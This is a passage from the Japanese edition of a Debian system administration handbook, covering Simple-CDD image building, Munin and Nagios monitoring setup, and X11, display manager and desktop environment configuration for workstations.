すべての利用できるパラメータを含む Simple-CDD 設定ファイルの例 (`/usr/share/doc/simple-cdd/examples/simple-cdd.conf.detailed.gz`) がパッケージに含まれています。カスタム設定ファイルを作成する際に、この例を足掛かりとして使うことが可能です。

Simple-CDD を完全に動作させるには多くのパラメータが必要です。通常、パラメータは設定ファイルの中にまとめられ、この設定ファイルを `build-simple-cdd` の `--conf` オプションに指定します。しかし、パラメ

ータは専用パラメータを build-simple-cdd に渡すことでも指定することも可能です。以下では、パラメータの使い方と build-simple-cdd の挙動を大ざっぱに説明しています。

- profiles パラメータは生成する CD-ROM イメージに含めるプロファイルをリストします。
- Simple-CDD は要求されるパッケージのリストに基づいて、server で指定されているサーバから適切なファイルをダウンロードし、(後に debian-cd に渡される) ローカルミラーにまとめます。
- また local_packages で指定されたカスタムパッケージがこのローカルミラーの中に統合されます。
- この後、組み込むパッケージのリストを使って debian-cd が実行されます (実行場所は debian_cd_dir 変数を使って設定されたデフォルト位置です)。
- debian-cd が debian_cd_dir で指定したディレクトリを用意した後、Simple-CDD はいくつかの変更をこのディレクトリに加えます。
  - プロファイルを含むファイルが simple-cdd サブディレクトリに追加されます (CD-ROM に追加されます)。
  - all_extras パラメータで指定された他のファイルがディレクトリに追加されます。
  - 起動パラメータが調整され、preseed が有効化されます。言語と国に関する質問を避けるには、これらの情報を language と country 変数に保存します。
- この後、debian-cd が最終的な ISO イメージを生成します。

ISO イメージの生成

設定ファイルの記述と自分のプロファイルの定義が完了したら、build-simple-cdd --conf simple-cdd.conf を実行します。数分後、要求されたイメージが images/debian-8.0-amd64-CD-1.iso に完成します。

12.4. 監視

監視は一般的な用語で、さまざまな目的で行われるさまざまな活動を意味します。すなわち一方では、マシンの提供するリソースが使い切られ、更新が必要になることを予測することが可能です。さらに他方では、サービスが利用できなくなったり適切に動作していないことを可能な限り早く管理者に警告することにより、発生した問題の早急な修正を可能にすることを意味します。

Munin は最初の範囲をカバーします。すなわち **Munin** はいくつかのパラメータの経時変化をグラフィカルに図示します (使用された RAM、専有されたディスク領域、プロセッサの負荷、ネットワークトラフィック、Apache/MySQL の負荷などを図示します)。**Nagios** は 2 番目の範囲をカバーします。すなわち **Nagios** はサービスの稼働状態と利用可能状態を定期的に確認し、適切な経路 (電子メール、テキストメッセージなど) を通じて警告を送信します。**Munin** と **Nagios** はモジュール式に設計されているので、特定のパラメータやサービスを監視する新しいプラグインを簡単に作成できます。

ALTERNATIVE **Zabbix、統合監視ツール**	Munin と Nagios はとてもよく使われていますが、監視分野における唯一の選択肢というわけではありませんし、両者が担当している範囲は監視タスクの半分 (片方がグラフ化、もう一方が警告) に留まっています。これに対して、Zabbix は監視タスクの両方を統合しています。さらに Zabbix は最もよく使われる側面を設定するためのウェブインターフェースを備えています。Zabbix は最近の数年間で急速に成長し続けており、今や Munin と Nagios の対抗馬

と考えられています。監視サーバには **zabbix-server-pgsql**（または **zabbix-server-mysql**）をインストールし、ウェブインターフェースを使うには **zabbix-frontend-php** もインストールします。監視対象ホストには **zabbix-agent** をインストールして、監視サーバからのデータ要求に応答します。

➨ http://www.zabbix.com/

ALTERNATIVE

Icinga、Nagios のフォーク

Nagios の開発モデル（開発は企業によって管理されています）に関する意見の食い違いが引き金となり、多数の開発者が Nagios をフォークし、新しい名前として Icinga を使っています。現時点で Icinga はまだ Nagios の設定およびプラグインと互換性を持っています。しかし、Icinga にはいくつかの機能が追加されています。

➨ http://www.icinga.org/

12.4.1. Munin のセットアップ

Munin の目的は多くのマシンを監視することです。そしてこのため、Munin は当然クライアント/サーバアーキテクチャを採用しています。グラフ化を担当している中央ホストがすべての監視されているホストからデータを収集し、データの履歴グラフを生成します。

監視対象ホストの設定

最初に **munin-node** パッケージをインストールします。**munin-node** パッケージによってインストールされるデーモンはポート 4949 番をリッスンし、すべての動作しているプラグインによって収集されたデータを送り返します。それぞれのプラグインは収集されたデータの説明および最新の計測値を返す簡単なプログラムです。プラグインは /usr/share/munin/plugins/ に保存されますが、実際に使われるのは /etc/munin/plugins/ 内からシンボリックリンクを張られたプラグインだけです。

munin-node パッケージのインストールが完了したら、利用できるソフトウェアと現在のホストの設定に基づいて有効なプラグイン群が決定されます。しかしながら、有効プラグインの自動決定は各プラグインの提供する機能に依存します。通常、手作業で結果を確認して微調整することを推奨します。すべてのプラグインに対して包括的な文書が用意されているわけではありませんが、プラグインギャラリー[2]を閲覧すると面白いかもしれません。さらに、すべてのプラグインはスクリプトで、その多くは単純かつ詳細に説明されています。このため、各プラグインの機能を理解して無効化するべきプラグインを決定するには /etc/munin/plugins/ を閲覧すると良いでしょう。同様に、/usr/share/munin/plugins/ の中にある興味深いプラグインを有効化するには、ln -sf /usr/share/munin/plugins/**plugin** /etc/munin/plugins/ を使ってシンボリックリンクを作成するだけです。プラグイン名がアンダースコア「_」で終わる場合、そのプラグインはパラメータが必要という点に注意してください。シンボリックリンクの名前を使って、このパラメータを指定します。従って、たとえば「if_」プラグインは必ず if_eth0 シンボリックリンクを使って有効化しなければいけません。こうすることで、eth0 インターフェースのネットワークトラフィックを監視します。

すべてのプラグインを正常に設定したら、収集されたデータへのアクセス制御に関するデーモン設定を更新します。これを行うには、/etc/munin/munin-node.conf ファイルの中で allow 指示文を使います。デフォルト設定は allow ^127\.0\.0\.1$ で、ローカルホストへのアクセスのみを許可します。通常、管理者はグ

[2] http://gallery.munin-monitoring.org

ラフ化を担当しているホストの IP アドレスを含めた同様の行を追加します。その後、service munin-node restart を使ってデーモンを再起動します。

GOING FURTHER

ローカルプラグインの作成

Munin にはプラグインの動作様式と新規プラグインの開発方法に関する詳細な文書が用意されています。

➡ http://munin-monitoring.org/wiki/plugins

プラグインを検査するには、プラグインが munin-node から実行されたのと同じ状況下で実行するのが最良の方法です。この状況を模倣するには root で munin-run **plugin** を実行します。このコマンドに与えられた 2 番目のパラメータ (config など) はパラメータとしてプラグインに渡されます。

プラグインに config パラメータを付けて実行した場合、プラグイン自身を説明する一連のフィールドが返されます。

```
$ sudo munin-run load config
graph_title Load average
graph_args --base 1000 -l 0
graph_vlabel load
graph_scale no
graph_category system
load.label load
graph_info The load average of the machine describes how many
    ➥ processes are in the run-queue (scheduled to run ″
    ➥ immediately″).
load.info 5 minute load average
```

利用できるさまざまなフィールドは「Munin ガイド」の一部として提供されている「プラグインリファレンス」で説明されています。

➡ http://munin.readthedocs.org/en/latest/reference/plugin.html

パラメータを付けずにプラグインを実行した場合、プラグインは最新の計測値を返却します。従って、たとえば sudo munin-run load を実行すると load.value 0.12 が返されます。

最後に、プラグインに autoconf パラメータを付けて実行した場合、プラグインは自分が対象のホストで有効化されているか否かに基づいて「yes」(終了ステータス 0) または「no」(終了ステータス 1) を返すべきです。

グラフ化担当マシンの設定

「グラフ化担当マシン」はデータを集計し対応するグラフを生成するだけのコンピュータです。「グラフ化担当マシン」に必要なソフトウェアは **munin** パッケージに含まれます。標準的な設定は munin-cron を (5 分ごとに) 実行します。このコマンドは /etc/munin/munin.conf にリストされているすべてのホスト (デフォルトではローカルホストのみがリストされています) からデータを収集し、時系列データを /var/lib/munin/ にある RRD ファイル (**Round Robin Database**、経時変化するデータを保存するために設計されたファイルフォーマット) に保存し、/var/cache/munin/www/ に含まれるグラフを使って HTML ページを生成します。

すべての監視対象のマシンは /etc/munin/munin.conf 設定ファイルにリストされていなければいけません。各マシンは完全なセクションの形でリストされています。セクションはマシンと同じ名前で、少なくとも対応する IP アドレスを指定する address エントリを持っていなければいけません。

```
[ftp.falcot.com]
    address 192.168.0.12
    use_node_name yes
```

セクションをさらに複雑にして、複数のマシンからのデータをまとめて作成されるグラフを追加することも可能です。設定ファイルの中で提供されている見本がカスタマイズの良い足掛かりとなります。

最後の段階は生成されたページを公開することです。そしてこれは、ウェブサイトから /var/cache/munin/www/ の内容を利用できるようにするようウェブサーバを設定することを意味しています。通常このウェブサイトへのアクセスは認証メカニズムか IP に基づくアクセス制御を使って制限されています。アクセス制御の詳細は第 11.2 節「ウェブサーバ (HTTP)」267 ページをご覧ください。

12.4.2. Nagios のセットアップ

Munin と異なり、Nagios の場合、必ずしも監視対象のホストに何かをインストールする必要はありません。そしてほとんどの場合、Nagios はネットワークサービスの可用性を確認するために使われます。たとえば Nagios を使うことで、ウェブサーバに接続して特定のウェブページがある時間内に取得できるかを確認することが可能です。

インストール

Nagios をセットアップするには、最初に **nagios3**、**nagios-plugins**、**nagios3-doc** パッケージをインストールします。これらのパッケージをインストールするとウェブインターフェースが設定され、最初の nagiosadmin ユーザが作成されます (このユーザのパスワードが尋ねられます)。他のユーザを追加するには、Apache の htpasswd コマンドを使ってユーザを /etc/nagios3/htpasswd.users ファイルに追加するだけです。Debconf 質問がインストール中に表示されない場合、dpkg-reconfigure nagios3-cgi を使って nagiosadmin のパスワードを定義することも可能です。

ブラウザで http://**server**/nagios3/ にアクセスすると、ウェブインターフェースが表示されます。特に、Nagios は自分が実行されているマシンのいくつかのパラメータを既に監視している点に注意してください。しかしながら、たとえばホストに対するコメントを追加するなどの対話型機能は動作しません。Nagios のデフォルト設定はこれらの機能を無効化し、セキュリティの理由からとても厳しい制限を設けています。

/usr/share/doc/nagios3/README.Debian で説明されている通り、いくつかの機能を有効化するには /etc/nagios3/nagios.cfg を編集し、check_external_commands パラメータを「1」に設定します。また、以下のようにして、Nagios が使うディレクトリに書き込みパーミッションを設定する必要があります。

```
# service nagios3 stop
[...]
# dpkg-statoverride --update --add nagios www-data 2710 /var/lib/nagios3/rw
# dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios3
# service nagios3 start
[...]
```

設定

Nagios のウェブインターフェースはかなり良くできていますが、設定もできませんし、監視対象のホストやサービスの追加もできません。全体の設定は中央設定ファイル /etc/nagios3/nagios.cfg から参照されているオブジェクト設定ファイルを使って管理されます。

Nagios の概念を理解していない場合、オブジェクト設定ファイルの内容に立ち入るべきではありません。オブジェクト設定ファイルから設定するオブジェクトには以下の種類があります。

- **host** は監視対象のマシンです。
- **hostgroup** はグループ化して表示されたり、同じ設定要素を持つホスト群です。
- **service** はホストやホストグループへの検査項目を定義します。これは多くの場合、あるネットワークサービスに対する検査を定義するものですが、いくつかのパラメータ (たとえば空きディスク領域やプロセッサ負荷) が条件を満たす範囲内にあるかに対する検査を定義することも可能です。
- **servicegroup** はグループ化して表示されるサービス群です。
- **contact** は警告を受け取る人です。
- **contactgroup** は警告を受け取る人のグループです。
- **timeperiod** は時間範囲で、この範囲内にいくつかのサービスを確認します。
- **command** はサービスを確認するために実行するコマンドラインです。

オブジェクトの種類に応じて、各オブジェクトにはカスタマイズが可能な複数の属性が含まれます。完全なリストはここに挙げるには長すぎますが、最重要の属性はオブジェクト間の関係性を示す属性です。

service は **command** を使い、**timeperiod** で定めた時間内に **host** (または **hostgroup**) で稼働する特定の機能を確認します。問題が起きた場合、Nagios はそのサービスに関連付けられた **contactgroup** のメンバーに警告を送信します。各メンバーは対応する **contact** オブジェクトに書かれたチャンネルを介して警告を受け取ります。

継承システムにより、情報を複製せずに多くのオブジェクト間の属性群を簡単に共有することが可能です。加えて、初期設定には数多くの標準的なオブジェクトが定義されています。このため多くの場合、初期設定の標準的なオブジェクトに加えて新たな **host**、**service**、**contact** を定義するだけで簡単に設定を完了させることが可能です。/etc/nagios3/conf.d/ に含まれるファイルはオブジェクトの動作に関する良い情報源です。

Falcot Corp の管理者は以下の設定を使います。

例 12.3　/etc/nagios3/conf.d/falcot.cfg ファイル

```
define contact{
    name                            generic-contact
    service_notification_period     24x7
    host_notification_period        24x7
    service_notification_options    w,u,c,r
    host_notification_options       d,u,r
    service_notification_commands   notify-service-by-email
    host_notification_commands      notify-host-by-email
    register                        0 ; Template only
```

```
}
define contact{
    use             generic-contact
    contact_name    rhertzog
    alias           Raphael Hertzog
    email           hertzog@debian.org
}
define contact{
    use             generic-contact
    contact_name    rmas
    alias           Roland Mas
    email           lolando@debian.org
}

define contactgroup{
    contactgroup_name     falcot-admins
    alias                 Falcot Administrators
    members               rhertzog,rmas
}

define host{
    use                   generic-host ; Name of host template to use
    host_name             www-host
    alias                 www.falcot.com
    address               192.168.0.5
    contact_groups        falcot-admins
    hostgroups            debian-servers,ssh-servers
}
define host{
    use                   generic-host ; Name of host template to use
    host_name             ftp-host
    alias                 ftp.falcot.com
    address               192.168.0.6
    contact_groups        falcot-admins
    hostgroups            debian-servers,ssh-servers
}

# 'check_ftp' コマンドにカスタムパラメータを渡します
define command{
    command_name          check_ftp2
    command_line          /usr/lib/nagios/plugins/check_ftp -H $HOSTADDRESS$ -w 20 -c 30
        ➥  -t 35
}

# Falcot の運用する一般サービスを定義します
define service{
    name                  falcot-service
    use                   generic-service
    contact_groups        falcot-admins
```

```
    register               0
}

# www-host 上の監視対象サービスを定義します
define service{
    use                    falcot-service
    host_name              www-host
    service_description    HTTP
    check_command          check_http
}
define service{
    use                    falcot-service
    host_name              www-host
    service_description    HTTPS
    check_command          check_https
}
define service{
    use                    falcot-service
    host_name              www-host
    service_description    SMTP
    check_command          check_smtp
}

# ftp-host 上の監視対象サービスを定義します
define service{
    use                    falcot-service
    host_name              ftp-host
    service_description    FTP
    check_command          check_ftp2
}
```

この設定ファイルでは、2 種類の監視対象ホストが定義されています。1 番目のホストはウェブサーバです。Nagios はこのホストに対してウェブサーバが HTTP (80) とセキュア HTTP (443) ポートで稼働していること、SMTP サーバがポート 25 番で稼働していることを確認します。2 番目のホストは FTP サーバです。Nagios はこのホストに対して応答が 20 秒以内に返されることが保証されることを確認します。Nagios は FTP サーバからの応答にかかる時間が 20 秒より長い場合に**警告**を、30 秒より長い場合に危機的な警告を発します。Nagios のウェブインターフェースは SSH サービスが監視されていることを示しています。すなわちこれは ssh-servers ホストグループに所属するホストの情報です。標準的なサービスの稼動状態確認は `/etc/nagios3/conf.d/services_nagios2.cfg` で定義されています。

継承の使い方に注意してください。具体的に言えば、オブジェクトを継承するには「use **parent-name**」の形で親オブジェクトの名前を指定します。親オブジェクトは識別可能でなければいけません。つまり、親オブジェクトに「name **identifier**」属性を与える必要があります。親オブジェクトが真のオブジェクトでなく、属性継承の機能を担うだけの場合、このオブジェクトに「register 0」属性を与えます。こうすることで Nagios はこのオブジェクトを考慮しなくなり、真のオブジェクトならば必須とされるいくつかのパラメータが欠けていてもその問題を無視するようになります。

DOCUMENTATION

オブジェクト属性のリスト

Nagios を設定するさまざまな方法に関してより深い理解を得るには、**nagios3-doc** パッケージに含まれる文書を読むと良いでしょう。この文書はウェブインターフェースの左上にある「Documentation」リンクから直接的に利用できます。この文書には、すべてのオブジェクト型のリストと各オブジェクトの取りうるすべての属性が説明されています。さらに、新しいプラグインの作り方も説明されています。

GOING FURTHER

NRPE を使ったリモートマシンの状態検査

多くの Nagios プラグインでは、あるホストに固有のいくつかのパラメータを確認することが可能です。多くのマシンに対するパラメータの確認が必要にも関わらず Nagios サーバでパラメータを収集する場合、NRPE (**Nagios Remote Plugin Executor**) プラグインを配備する必要があります。Nagios サーバには **nagios-nrpe-plugin** パッケージをインストールし、ローカルでテストを実行するホストに **nagios-nrpe-server** をインストールする必要があります。**nagios-nrpe-server** は `/etc/nagios/nrpe.cfg` から設定を取得します。このファイルには、リモートからの命令に従って実行されるテストとリモートからのテスト開始命令を受け入れるマシンの IP アドレスをリストするべきです。Nagios サーバ側でリモートテストを有効化するには、**check_nrpe** コマンドを使って一致するサービスを追加するだけで済みます。

キーワード

ワークステーション
グラフィカルデスクトップ
事務作業
X.org

章

ワークステーション 13

目次

X11 サーバの設定 356　グラフィカルインターフェースのカスタマイズ 357　グラフィカルデスクトップ 359
電子メール 362　ウェブブラウザ 365　開発 367　共同作業 367　オフィススイート 368
Windows のエミュレート、Wine 369　リアルタイムコミュニケーションソフトウェア 371

これでサーバの配備が終了しました。管理者は各ワークステーションをインストールし典型的な設定を作成することに注力することが可能です。

13.1. X11 サーバの設定

グラフィカルインターフェースの初期設定は時々扱いにくいことがあります。そして通常、最新のビデオカードは Debian 安定版に提供されている X.org バージョンでは完全に動作しません。

ちょっと思い出していただきたいことがあります。それは X.org はグラフィカルアプリケーションが画面上にウィンドウを表示するために使われるソフトウェアコンポーネントであるということです。X.org にはビデオカードを効率的に使うためのドライバが含まれます。グラフィカルアプリケーションは標準的なインターフェース **X11** (**Jessie** にはバージョン **X11R7.7** が含まれます) を通じて X.org の機能を使います。

PERSPECTIVE

X11、XFree86、X.org

X11 は Unix 系システムで最も広く使われているグラフィカルシステムです (Windows と Mac OS でも利用できます)。厳密に言えば、「X11」という用語はプロトコルだけを意味しています。しかし実際には、その実装を指すために使われることもあります。

X11 の始まりは大変なものでしたが、1990 年代に XFree86 がリファレンス実装として出現しました。なぜなら XFree86 はフリーソフトウェアで、移植可能で、共同コミュニティによってメンテナンスされていたからです。しかしながら、XFree86 には新しいドライバ以外が追加されなくなり、XFree86 の進化速度は極めて遅くなりました。2004 年には、XFree86 のライセンスが変更されたことにより大きな論議が巻き起こり、時を同じくして X.org フォークが誕生しました。今やリファレンス実装は X.org に取って代わられ、Debian **Jessie** では X.org バージョン 7.7 が使われています。

X.org の現在のバージョンは利用できるハードウェアを自動検出することが可能です。すなわち、ビデオカードとモニタだけでなくキーボードとマウスも検出することが可能です。実際、パッケージが `/etc/X11/xorg.conf` 設定ファイルを作成する必要がなくなり、現在の X.org はとても使いやすくなっています。これは Linux カーネルが自動検出をサポートする機能を提供するようになったこと (特にキーボードとマウスの場合)、各ドライバがサポートするビデオカードのリストを持つようになったこと、DDC プロトコルでモニタの固有情報を取得するようになったことにより可能になっています。

キーボードは現在 `/etc/default/keyboard` で設定します。`/etc/default/keyboard` ファイルはテキストコンソールとグラフィカルインターフェースの両方で使われ、**keyboard-configuration** パッケージによって取り扱われます。キーボードレイアウトの設定に関する詳細は第 8.1.2 節「キーボードの設定」147 ページをご覧ください。

xserver-xorg-core パッケージには X.org のバージョン 7.x が使う一般的な X サーバが含まれます。このサーバはモジュール式で多くの異なる種類のビデオカードを取り扱う独立したドライバを使います。**xserver-xorg** をインストールすると、ドライバと少なくとも 1 種類のビデオドライバが確実にインストールされます。

検出されたビデオカードに対応するドライバが利用可能でない場合、X.org は VESA と `fbdev` ドライバを使うことを試みる点に注意してください。VESA はどこでも使えるはずの一般的なドライバですが、機能が制限されています (利用できる解像度が少なく、ゲームとデスクトップ視覚効果用のハードウェアアクセラレーションが使えないなどの制限があります)。これに対して `fbdev` はカーネルのフレームバッファデバイス上で動きます。X サーバのメッセージは `/var/log/Xorg.0.log` ログファイルに書き出されます。このログファイルを参照すれば、今現在使用中のドライバの種類を確認することが可能です。たとえば、以下に示すログの抜粋は intel ドライバが読み込まれた時に出力されるものです。

```
(==) Matched intel as autoconfigured driver 0
(==) Matched modesetting as autoconfigured driver 1
```

```
(==) Matched vesa as autoconfigured driver 2
(==) Matched fbdev as autoconfigured driver 3
(==) Assigned the driver to the xf86ConfigLayout
(II) LoadModule: "intel"
(II) Loading /usr/lib/xorg/modules/drivers/intel_drv.so
```

EXTRA

プロプライエタリドライバ

いくつかのビデオカードメーカー (中でも注目すべきは nVidia) は適切で自由なドライバを実装するために必要とされるハードウェア仕様の公表を拒んでいます。しかしながら、そのようなメーカーは自社のハードウェアを使えるようにするためのプロプライエタリドライバを提供しています。これは極悪非道なやり方です。なぜなら、たとえドライバが提供されていたとしても、あるべき姿と比べて遜色のない程度に洗練されているとは言い難いからです。そしてより重要な問題は、プロプライエタリドライバは X.org の更新に追従する必要がない、という点です。この問題が原因で、X.org が最新の利用できるドライバを正しく (または全く) 読み込めなくなる可能性があります。この態度を大目に見ることはできません。このような態度を取るメーカーの製品を避け、より協力的なメーカーの製品を使うことをお勧めします。

非協力的なメーカーの製品を使う羽目になるような場合、**non-free** セクションで必要なパッケージを見つけてください。具体的に言えば、nVidia カードの場合 **nvidia-glx**、ATI カードの場合 **fglrx-driver** が必要です。どちらの場合でも使用中のカーネルに対応するカーネルヘッダをインストールする必要があります。モジュールをビルドする作業は **nvidia-kernel-dkms** (nVidia の場合) または **fglrx-modules-dkms** (ATI の場合) パッケージをインストールすることで自動的に行われます。

「nouveau」プロジェクトは nVidia カードのフリーソフトウェアドライバを開発することを目標にしています。**Jessie** の時点で、nouveau の提供する機能群はプロプライエタリドライバとそれと全く同じではありません。開発者を擁護するために言っておくと、必要な情報を収集する方法がリバースエンジニアリング以外に存在せず、リバースエンジニアリングによる情報の収集は難しいものです。ATI ビデオカード用の自由なドライバは「radeon」と呼ばれており、nouveau に比べればずっと良いものです。とは言うものの、自由ではないファームウェアが必要です。

13.2. グラフィカルインターフェースのカスタマイズ

13.2.1. ディスプレイマネージャの選択

グラフィカルインターフェースはディスプレイ領域を提供するだけです。X サーバを実行すると空の画面が表示されます。このため多くの場合、ユーザ認証画面を表示したり、認証の完了したユーザ向けにグラフィカルデスクトップを開始するための**ディスプレイマネージャ**がインストールされます。現在最も人気のディスプレイマネージャは **gdm3** (**GNOME ディスプレイマネージャ**)、**kdm** (**KDE ディスプレイマネージャ**)、**lightdm** (**Light Display Manager**) の 3 種類です。Falcot Corp の管理者は GNOME デスクトップ環境を使うことに決めたので、必然的にディスプレイマネージャとして `gdm3` を選択しました。`/etc/gdm3/daemon.conf` 設定ファイルには挙動を制御する多くのオプションが書かれています (オプションは `/usr/share/gdm/gdm.schemas` スキーマファイルで定義されています)。これに対して、`/etc/gdm3/greeter.dconf-defaults` には greeter「セッション」(ログインウィンドウだけでなく、電源管理とアクセシビリティ関連ツールを備えた制限デスクトップ) 用の設定だけが含まれます。エンドユーザ向けの最も有用な設定の一部は GNOME コントロールセンターを使って微調整することが可能という点に注意してください。

13.2.2. ウィンドウマネージャの選択

それぞれのグラフィカルデスクトップにはウィンドウマネージャが含まれるため、どのデスクトップを選んだかに依存して、そのデスクトップで使えるウィンドウマネージャは制限されます。GNOME は `mutter` ウィンドウマネージャを使い、KDE は `kwin` を使い、Xfce (後から説明します) は `xfwm` を使います。Unix 哲学に従えば、いかなる場合もユーザは自由に選んだウィンドウマネージャを使うことが可能です。しかし、推奨されたものに従うことで、管理者は各プロジェクトが苦心して行った統一性をうまく利用することが可能です。

BACK TO BASICS

ウィンドウマネージャ

ウィンドウマネージャは現在実行中のアプリケーションに所属するウィンドウの周囲に「装飾」を表示します。装飾にはフレームとタイトルバーが含まれます。ウィンドウマネージャはウィンドウをサイズ変更、復元、最大化、最小化する機能を提供します。多くのウィンドウマネージャはデスクトップが特定の方法でクリックされたらポップアップするメニューを提供します。このメニューはウィンドウマネージャセッションを閉じたり、アプリケーションを開始したり、場合によっては他のウィンドウマネージャに切り替える (インストールされている場合) ための手段を提供します。

しかしながら、古いコンピュータで負荷の大きなグラフィカルデスクトップ環境を実行することは難しいかもしれません。このような場合、より軽量の設定を使うべきです。「軽量」(つまり専有する資源量の少ない) ウィンドウマネージャとして WindowMaker (**wmaker** パッケージに含まれます)、Afterstep、fvwm、icewm、blackbox、fluxbox、openbox などがあります。これらのウィンドウマネージャを使う場合、システムを適切なウィンドウマネージャが優先されるように設定するべきです。これを行う一般的な方法はコマンド `update-alternatives --config x-window-manager` を使う方法です。こうすることで、`x-window-manager` が起動する標準のウィンドウマネージャが変更されます。

DEBIAN SPECIFICITY

代替コマンド

Debian ポリシーは特定の動作を実行する数多くの標準化されたコマンドを定めています。たとえば、`x-window-manager` コマンドはウィンドウマネージャを実行します。しかし Debian はこのコマンドに特定のウィンドウマネージャを割り当てていません。管理者が実行するべきウィンドウマネージャを選ぶことが可能です。

各ウィンドウマネージャに対応するパッケージは適切なコマンドと優先度を `x-window-manager` から実行できる選択肢として登録します。管理者が手作業で設定した場合を除けば、インストール済みのウィンドウマネージャから最も高い優先度を持つウィンドウマネージャが `x-window-manager` から実行されます。

コマンドを登録したり手作業で設定するには `update-alternatives` スクリプトを使います。シンボリックコマンドの指す場所を選ぶことは `update-alternatives --config` **`symbolic-command`** を実行するだけで簡単に可能です。`update-alternatives` スクリプトは `/etc/alternatives/` ディレクトリ内にシンボリックリンクを作成 (およびディレクトリ内のシンボリックリンクをメンテナンス) します。このシンボリックリンクは実行ファイルにリンクされています。時間が経過すれば、パッケージがインストールされたり削除されたりするかもしれませんし、管理者が手作業で設定を変更するかもしれません。代替コマンドに割り当てられたコマンドを提供するパッケージが削除された場合、残りのコマンドから最良のコマンドが自動的に選択されます。

すべてのシンボリックコマンドが Debian ポリシーで定められているわけではない点に注意してください。一部の Debian パッケージメンテナは意図的に代替コマンドメカニズムを使い、あまり直接的ではないけれども興味深い柔軟性が必要な場合に対処します (たとえば `x-www-browser`、`www-browser`、`cc`、`c++`、`awk` などのパッケージは代替コマンドメカニズムを使っています)。

13.2.3. メニュー管理

現代的なデスクトップ環境と多くのウィンドウマネージャはユーザが利用できるアプリケーションをリストするメニューを提供します。実際に利用できるアプリケーションに基づいてメニューを最新の状態に保つために、通常各パッケージは `/usr/share/applications` の中に `.desktop` ファイルを配置します。`.desktop` ファイルの書式は FreeDesktop.org によって規格化されています。

➡ `http://standards.freedesktop.org/desktop-entry-spec/latest/`

管理者は「Desktop Menu Specification」に従って記述されたシステム全体に対する設定ファイルを介して、アプリケーションメニューをさらにカスタマイズすることが可能です。さらにエンドユーザも **kmenuedit** (KDE の場合) や **alacarte** (GNOME の場合) や **menulibre** などのグラフィカルツールを使ってメニューをカスタマイズすることが可能です。

➡ `http://standards.freedesktop.org/menu-spec/latest/`

HISTORY

Debian メニューシステム

歴史的なことを言えば、FreeDesktop.org の規格が現れる以前、Debian は自前のメニューシステムを考案していました。このシステムに従うパッケージは `/usr/share/menu/` 内に所望するメニューエントリの一般的な説明ファイルを配置していました。このツールはまだ Debian で利用できますが (**menu** パッケージに含まれます)、あまり実用的ではありません。なぜなら、パッケージメンテナはメニューエントリを追加する際にはこのツールの代わりに `.desktop` ファイルを使うことを推奨されているからです。

13.3. グラフィカルデスクトップ

自由なグラフィカルデスクトップの分野では 2 種類の巨大なソフトウェア集 (GNOME と KDE) が優勢で、両者とも高い人気を集めています。この事実はフリーソフトウェア世界では珍しいことです。たとえば、Apache ウェブサーバには極めて多くの同等品があります。

この多様性は歴史に根付いています。KDE は最初のグラフィカルデスクトッププロジェクトでした。しかしながら KDE は Qt グラフィカルツールキットを採用し、Qt の採用は多くの開発者にとって受け入れ難いものでした。その当時 Qt はまだフリーソフトウェアではありませんでしたし、GNOME が GTK+ ツールキットに基づいて始まりました。後に Qt はフリーソフトウェアになりましたが、KDE プロジェクトと Qt はそれぞれに進化し続けています。

GNOME と KDE は協力し合っています。具体的に言えば、GNOME と KDE は FreeDesktop.org の傘下でアプリケーション間の相互運用性の標準を定義するために協力し合っています。

「最良の」グラフィカルデスクトップを決めることは慎重に扱うべき話題で、本書はそれを決定したいと思っているわけではありません。この節では多くの選択肢を説明し、さらに考えるために必要ないくつかの示唆を与えるだけに留めます。ご自分の手でいくつかの選択肢を試した後に、最良のグラフィカルデスクトップを決めてください。

13.3.1. GNOME

Debian **Jessie** には GNOME バージョン 3.14 が含まれ、単純に `apt-get install gnome` でインストールすることが可能です (「Debian デスクトップ環境」タスクを使ってインストールすることも可能です)。

GNOME のユーザビリティとアクセシビリティに対する取り組みは注目に値するものです。GNOME プロジェクトにはデザインの専門家が参加し続けており、デザイン専門家が GNOME のデザイン標準や推奨を決めています。これは開発者が GNOME のデザイン標準を満足するグラフィカルユーザインターフェースを作成する際の手助けになります。また、GNOME プロジェクトは Intel、IBM、Oracle、Novell、そしてもちろんさまざまな Linux ディストリビューションなどのコンピューティング分野の大物から励ましを受けています。最後に、GNOME のデザインと調和するアプリケーションを開発する際には多くのプログラミング言語を使うことが可能です。

図 13.1　GNOME デスクトップ

管理者からすると、GNOME は大規模に配備する際のことをよく考えていると言えます。アプリケーション設定は GSettings インターフェースを介して処理され、アプリケーション設定データは DConf データベースに保存されます。従って、設定情報を問い合わせたり編集することが可能です。これを行うには、`gsettings` や `dconf` などのコマンドラインツール、または `dconf-editor` グラフィカルユーザインターフェースを使います。このため、管理者は簡単なスクリプトを使ってユーザの設定を変更することが可能です。GNOME のウェブサイトには GNOME ワークステーションの管理者に向けた管理方針の指針を示す情報が載せられています。

➡ `https://help.gnome.org/admin/`

13.3.2. KDE

Debian **Jessie** には KDE のバージョン 4.14 が含まれます。KDE をインストールするには `apt-get install kde-standard` を使います。

KDE は極めて現場主義的な方針に基づいて急速な進化を遂げました。KDE の創設者はとても良い結果を素早く出したので、KDE のユーザ数が増加しました。ユーザ数が増えたことで、プロジェクト全体の品質が向上しました。KDE は広い範囲のアプリケーションを備える成熟したデスクトップ環境です。

図 13.2　KDE デスクトップ

Qt 4.0 の公開以後、最後まで残されていた KDE のライセンス問題が解決されました。Qt 4.0 は Linux と Windows の両方で GPL の下で公開されました (以前の Windows 版は自由ではないライセンスの下で公開されていました)。KDE アプリケーションを開発する際には C++ 言語を使わなければいけない点に注意してください。

13.3.3. Xfce とその他

Xfce は単純で軽量なグラフィカルデスクトップで、リソースの制限されたコンピュータでの使用に完全に適しています。Xfce をインストールするには `apt-get install xfce4` を使ってください。GNOME と同様、Xfce は GTK+ ツールキットに基づき、いくつかの部品は両方のデスクトップ間で共通です。

GNOME や KDE と異なり、Xfce は巨大なプロジェクトになることを目指していません。現代的なデスクトップの基本的な部品 (ファイルマネージャ、ウィンドウマネージャ、セッションマネージャ、アプリケーションランチャパネルなど) の他に、いくつかの特別なアプリケーションだけを提供しています。具体的に言えば、端末、カレンダー (Orage)、画像ビューア、CD/DVD 書き込みツール、メディアプレイヤー (Parole)、音量コントロール、テキストエディタ (mousepad) を提供しています。

図 13.3　Xfce デスクトップ

Jessie で提供されている他のデスクトップ環境に LXDE があります。LXDE は「軽量」であること重視しています。LXDE は **lxde** メタパッケージを使ってインストールすることが可能です。

13.4. 電子メール

13.4.1. Evolution
